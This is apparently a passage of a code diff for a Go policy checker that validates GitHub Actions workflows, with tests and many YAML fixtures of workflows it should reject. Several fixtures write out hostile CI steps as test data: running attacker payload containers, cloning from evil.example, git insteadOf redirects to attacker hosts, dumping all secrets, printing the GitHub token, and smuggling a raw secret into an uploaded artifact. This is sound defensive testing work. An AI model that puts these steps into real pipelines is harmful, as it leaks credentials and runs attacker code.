invalidWorkflow := strings.Replace(string(data), test.currentText, test.invalidText, 1)
require.NotEqual(t, string(data), invalidWorkflow, "workflow mutation must match current content")
// When
err := workflowpolicy.Verify([]byte(invalidWorkflow), workflowpolicy.RepositoryNezha)
// Then
var policyError *workflowpolicy.PolicyError
require.ErrorAs(t, err, &policyError)
require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure))
})
}
}
func TestPolicy_RejectsMissingRequiredAggregator(t *testing.T) {
assertFixtureRejected(t, rejected("missing-required-aggregator.yml", workflowpolicy.RuleWorkflowStructure, "aggregator is missing"))
}
@@ -0,0 +1,62 @@
package workflowpolicy
import (
"regexp"
"strings"
"gopkg.in/yaml.v3"
)
var (
resolvedRefPattern = regexp.MustCompile(`^\$\{\{\s*steps\.([A-Za-z0-9_-]+)\.outputs\.sha\s*\}\}$`)
resolverRemotePattern = regexp.MustCompile(`(?m)^\s*remote=['"]https://github\.com/(nezhahq/(?:agent|nezha))\.git['"]\s*$`)
)
type refResolver struct {
id string
repository Repository
}
func validatedRefResolver(step *yaml.Node) (refResolver, bool) {
idNode, hasID := mappingValue(step, "id")
runNode, hasRun := mappingValue(step, "run")
id, literalID := scalarString(idNode)
command, literalRun := scalarString(runNode)
if !hasID || !hasRun || !literalID || !literalRun || strings.TrimSpace(id) == "" {
return refResolver{}, false
}
lines := make([]string, 0, 7)
for _, line := range strings.Split(command, "\n") {
trimmed := strings.TrimSpace(line)
if trimmed != "" {
lines = append(lines, trimmed)
}
}
if len(lines) != 7 || lines[0] != "set -euo pipefail" {
return refResolver{}, false
}
remoteMatch := resolverRemotePattern.FindStringSubmatch(lines[1])
if len(remoteMatch) != 2 {
return refResolver{}, false
}
repository := Repository(remoteMatch[1])
branch := "main"
if repository == RepositoryNezha {
branch = "master"
}
expectedLines := []string{
lines[0],
lines[1],
"mapfile -t refs < <(git ls-remote \"$remote\" refs/heads/" + branch + ")",
"(( ${#refs[@]} == 1 ))",
"sha=${refs[0]%%$'\\t'*}",
`[[ "$sha" =~ ^[0-9a-f]{40}$ ]]`,
`printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"`,
}
for index, expected := range expectedLines {
if lines[index] != expected {
return refResolver{}, false
}
}
return refResolver{id: id, repository: repository}, true
}
@@ -0,0 +1,92 @@
package workflowpolicy
import (
"regexp"
"strings"
"gopkg.in/yaml.v3"
)
var matrixRunnerPattern = regexp.MustCompile(`^\$\{\{\s*matrix\.([A-Za-z0-9_-]+)\s*\}\}$`)
var githubHostedRunnerPattern = regexp.MustCompile(`^(?:ubuntu|windows|macos)(?:-[A-Za-z0-9.]+)?$`)
func (c *checker) checkRunner(jobPath string, job *yaml.Node) {
runner, exists := mappingValue(job, "runs-on")
if !exists {
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", job), "jobs must declare a literal GitHub-hosted runner")
return
}
if containsScalar(runner, "self-hosted") {
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "self-hosted runners are forbidden")
return
}
if runner.Kind == yaml.SequenceNode {
if containsExpression(runner) || !allGitHubHostedLabels(runner) {
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on entries must be literal GitHub-hosted labels")
}
return
}
runnerValue, literal := scalarString(runner)
if !literal {
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis")
return
}
if !strings.Contains(runnerValue, "${{") {
if !githubHostedRunnerPattern.MatchString(runnerValue) {
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must use a GitHub-hosted runner")
}
return
}
matrixMatch := matrixRunnerPattern.FindStringSubmatch(runnerValue)
if len(matrixMatch) != 2 {
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis")
return
}
strategy, hasStrategy := mappingValue(job, "strategy")
matrix, hasMatrix := mappingValue(strategy, "matrix")
if include, hasInclude := mappingValue(matrix, "include"); hasInclude {
c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix.include", include), "matrix include is forbidden for runner selection")
return
}
runnerAxis, hasRunnerAxis := mappingValue(matrix, matrixMatch[1])
if !hasStrategy || !hasMatrix || !hasRunnerAxis || containsExpression(runnerAxis) || !allGitHubHostedLabels(runnerAxis) {
c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on matrix axis must contain only literal GitHub-hosted labels")
return
}
if containsScalar(runnerAxis, "self-hosted") {
c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix."+matrixMatch[1], runnerAxis), "self-hosted runners are forbidden")
}
}
func allGitHubHostedLabels(node *yaml.Node) bool {
valid := true
walkScalars(node, func(scalar *yaml.Node) {
if !githubHostedRunnerPattern.MatchString(scalar.Value) {
valid = false
}
})
return valid
}
func containsExpression(node *yaml.Node) bool {
found := false
walkScalars(node, func(scalar *yaml.Node) {
if strings.Contains(scalar.Value, "${{") {
found = true
}
})
return found
}
func (c *checker) checkRequiredCacheDisabled(path string, step *yaml.Node) {
with, hasWith := mappingValue(step, "with")
cache, hasCache := mappingValue(with, "cache")
if hasWith && hasCache && explicitFalse(cache) {
return
}
node := step
if hasCache {
node = cache
}
c.reject(RuleReusableExecutable, at(path+".with.cache", node), "actions/setup-go requires cache: false")
}
@@ -0,0 +1,56 @@
package workflowpolicy_test
import (
"testing"
"github.com/stretchr/testify/require"
"gopkg.in/yaml.v3"
)
const agentcompatStressTestName = "TestStressPRFullEightAgentExactlyOnce"
func TestPolicy_NezhaStressWorkflowRunsPinnedCrossRepositoryTest(t *testing.T) {
// Given
data := readNezhaQualityWorkflow(t)
var workflow qualityWorkflow
require.NoError(t, yaml.Unmarshal(data, &workflow))
// When
stressJob, exists := workflow.Jobs["agentcompat-stress"]
// Then
require.True(t, exists)
require.Equal(t, "Linux agent compatibility stress", stressJob.Name)
require.Equal(t, "ubuntu-24.04", stressJob.RunsOn)
require.Equal(t, 75, stressJob.TimeoutMinutes)
require.Len(t, stressJob.Steps, 5)
nezhaCheckout := stressJob.stepNamed(t, "Checkout Nezha revision")
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", nezhaCheckout.Uses)
require.Empty(t, nezhaCheckout.With.Repository)
require.Empty(t, nezhaCheckout.With.Ref)
require.Equal(t, "nezha", nezhaCheckout.With.Path)
require.False(t, *nezhaCheckout.With.PersistCredentials)
agentCheckout := stressJob.stepNamed(t, "Checkout pinned Agent revision")
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", agentCheckout.Uses)
require.Equal(t, "nezhahq/agent", agentCheckout.With.Repository)
require.Equal(t, "667e1dd5e166ffef808ec26dc20de85bc33a0a0f", agentCheckout.With.Ref)
require.Equal(t, "agent", agentCheckout.With.Path)
require.False(t, *agentCheckout.With.PersistCredentials)
setupGo := stressJob.stepNamed(t, "Set up Go")
require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses)
require.Equal(t, "1.26.x", setupGo.With.GoVersion)
require.False(t, *setupGo.With.Cache)
listStep := stressJob.stepNamed(t, "Require named stress test")
require.Equal(t, "nezha", listStep.WorkingDirectory)
require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^"+agentcompatStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentcompatStressTestName+"'", listStep.Run)
runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress")
require.Equal(t, "nezha", runStep.WorkingDirectory)
require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource)
require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource)
require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentcompatStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run)
}
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: /usr/bin/docker run --rm ghcr.io/attacker/payload:latest
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
ALL_SECRETS: ${{ toJSON(secrets) }}
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: /bin/docker run --rm ghcr.io/attacker/payload:latest
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
true && if false; then
echo ignored
fi
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
with:
path: ${{ runner.temp }}/results
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env: &shared
MODE: test
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: false
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/cache@0123456789abcdef0123456789abcdef01234567
with:
path: bin
key: executable-cache
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: command -p git clone https://github.com/attacker/payload.git payload
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
strategy:
matrix:
os: [ubuntu]
runs-on: custom-${{ matrix.os }}-latest
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,18 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
id: redact-evidence
if: false
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: podman run --rm attacker/payload:latest
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
container: golang:latest
steps:
- run: go test ./...
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- continue-on-error: true
run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: private-production-runner
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: docker run --rm golang:latest go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/download-artifact@0123456789abcdef0123456789abcdef01234567
@@ -0,0 +1,17 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
first:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
jobs:
second:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git ls-remote "${{ inputs.repository }}" refs/heads/main
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: printf '%s\n' "${{ github[format('event')].pull_request.title }}"
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency:
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: ""
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- {}
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: ""
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git clone "$REMOTE"
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git clone https://evil.example/attacker/payload.git
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
GIT_CONFIG_COUNT: "1"
GIT_CONFIG_KEY_0: url.https://attacker.invalid/.insteadOf
GIT_CONFIG_VALUE_0: https://github.com/nezhahq/agent
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git config --global url.https://evil.example/.insteadOf https://github.com/
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git -c advice.detachedHead=false clone https://github.com/attacker/payload.git payload
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git -c url.https://evil.example/.insteadOf=https://github.com/ clone https://github.com/nezhahq/nezha.git nezha
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
printf '%s\n' 'GIT_CONFIG_COUNT=1' >> "$GITHUB_ENV"
printf '%s\n' 'GIT_CONFIG_KEY_0=url.https://attacker.invalid/.insteadOf' >> "$GITHUB_ENV"
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
GITHUB_TOKEN: ${{ github.token }}
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: printf '%s' "${{ github.token }}"
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
id-token: write
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
if go test ./...; then
echo passed
fi
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
if ! go test ./...; then
echo ignored
fi
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: printf '%s\n' "${{ github['event']['pull_request']['title'] }}"
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: ./untrusted-action
@@ -0,0 +1,4 @@
on: [pull_request
jobs:
verify:
runs-on: ubuntu-24.04
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents:
read: true
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,16 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
strategy:
matrix:
runner: [ubuntu-24.04]
include:
- runner: self-hosted
runs-on: ${{ matrix.runner }}
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
strategy:
matrix:
runner: [ubuntu-24.04, self-hosted]
runs-on: ${{ matrix.runner }}
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,10 @@
on:
pull_request:
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,5 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
@@ -0,0 +1,17 @@
name: Missing required aggregator
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
tests:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
linux-race-quality:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test -race -shuffle=on -count=1 ./...
@@ -0,0 +1,43 @@
name: Missing required dependency
on:
pull_request:
merge_group:
push:
branches:
- master
concurrency: policy
permissions:
contents: read
jobs:
tests:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: "1.26.x"
cache: false
- run: go test ./...
linux-race-quality:
runs-on: ubuntu-24.04
timeout-minutes: 45
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: "1.26.x"
cache: false
- run: go test -race -shuffle=on -count=1 ./...
nezha-quality-required:
if: ${{ always() }}
needs:
- tests
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- run: test "${{ needs.tests.result }}" = success
@@ -0,0 +1,9 @@
on:
pull_request:
concurrency: policy
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,10 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
steps:
- run: go test ./...
@@ -0,0 +1,17 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
run: go run ./integration/agentcompat/cmd/redact
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
with:
path: |
${{ runner.temp }}/redacted-results
${{ runner.temp }}/raw-results
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: main
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: bash -c 'go test ./... || true'
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
run: "true"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
with:
path: ${{ runner.temp }}/redacted-results
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency:
group: policy
cancel-in-progress: "true"
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: ${{ inputs.action }}
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: ${{ inputs.repository }}
ref: 0123456789abcdef0123456789abcdef01234567
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- malformed
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses:
- actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
run: go test ./...
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run:
command: go test ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10.5
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./... || echo ignored
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./... || exit 0
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./... || printf '%s\n' ignored
@@ -0,0 +1,10 @@
on:
pull_request:
concurrency: policy
permissions: []
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: true
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: sudo git clone "$REMOTE"
@@ -0,0 +1,11 @@
on:
pull_request_target:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,12 @@
name: Quality only
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
linux-race-quality:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test -race -shuffle=on -count=1 ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: "false"
@@ -0,0 +1,19 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
id: redact-evidence
if: always()
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
- run: cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,20 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
id: redact-evidence
if: always()
run: |
go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: bin/agentcompat --check
@@ -0,0 +1,25 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- id: resolve-agent
run: |
set -euo pipefail
remote='https://github.com/nezhahq/agent.git'
mapfile -t refs < <(git ls-remote "$remote" refs/heads/main)
(( ${#refs[@]} == 1 ))
sha=${refs[0]%%$'\t'*}
[[ "$sha" =~ ^[0-9a-f]{40}$ ]]
sha=attacker-controlled
printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: ${{ steps.resolve-agent.outputs.sha }}
persist-credentials: false
@@ -0,0 +1,8 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
uses: attacker/repo/.github/workflows/build.yml@main
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
TOKEN: ${{ secrets.CI_TOKEN }}
steps:
- run: go test ./...
@@ -0,0 +1,21 @@
name: Secure Agent compatibility
on:
pull_request:
concurrency: secure-agent-${{ github.ref }}
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/nezha
ref: fedcba9876543210fedcba9876543210fedcba98
path: nezha
persist-credentials: false
- run: go test ./integration/agentcompat/...
@@ -0,0 +1,40 @@
name: Secure Nezha compatibility
# Comments and names are not policy input: ignore pull_request_target and ${{ secrets.FAKE }}.
on:
pull_request:
merge_group:
concurrency:
group: secure-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
id-token: none
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- name: Checkout Nezha
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- name: Checkout Agent
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: 0123456789abcdef0123456789abcdef01234567
path: agent
persist-credentials: false
- name: Test
run: go test ./integration/agentcompat/...
- name: Document self-hosted, Docker, cache, and service bans
run: printf '%s\n' 'policy active'
- name: Redact evidence
id: redact-evidence
if: always()
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
- name: Upload redacted evidence
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,27 @@
name: Secure resolved ref
on:
pull_request:
concurrency: resolved-${{ github.ref }}
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- id: resolve-agent
name: Resolve Agent commit
shell: bash
run: |
set -euo pipefail
remote='https://github.com/nezhahq/agent.git'
mapfile -t refs < <(git ls-remote "$remote" refs/heads/main)
(( ${#refs[@]} == 1 ))
sha=${refs[0]%%$'\t'*}
[[ "$sha" =~ ^[0-9a-f]{40}$ ]]
printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: ${{ steps.resolve-agent.outputs.sha }}
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: [self-hosted, linux]
timeout-minutes: 10
steps:
- run: go test ./...
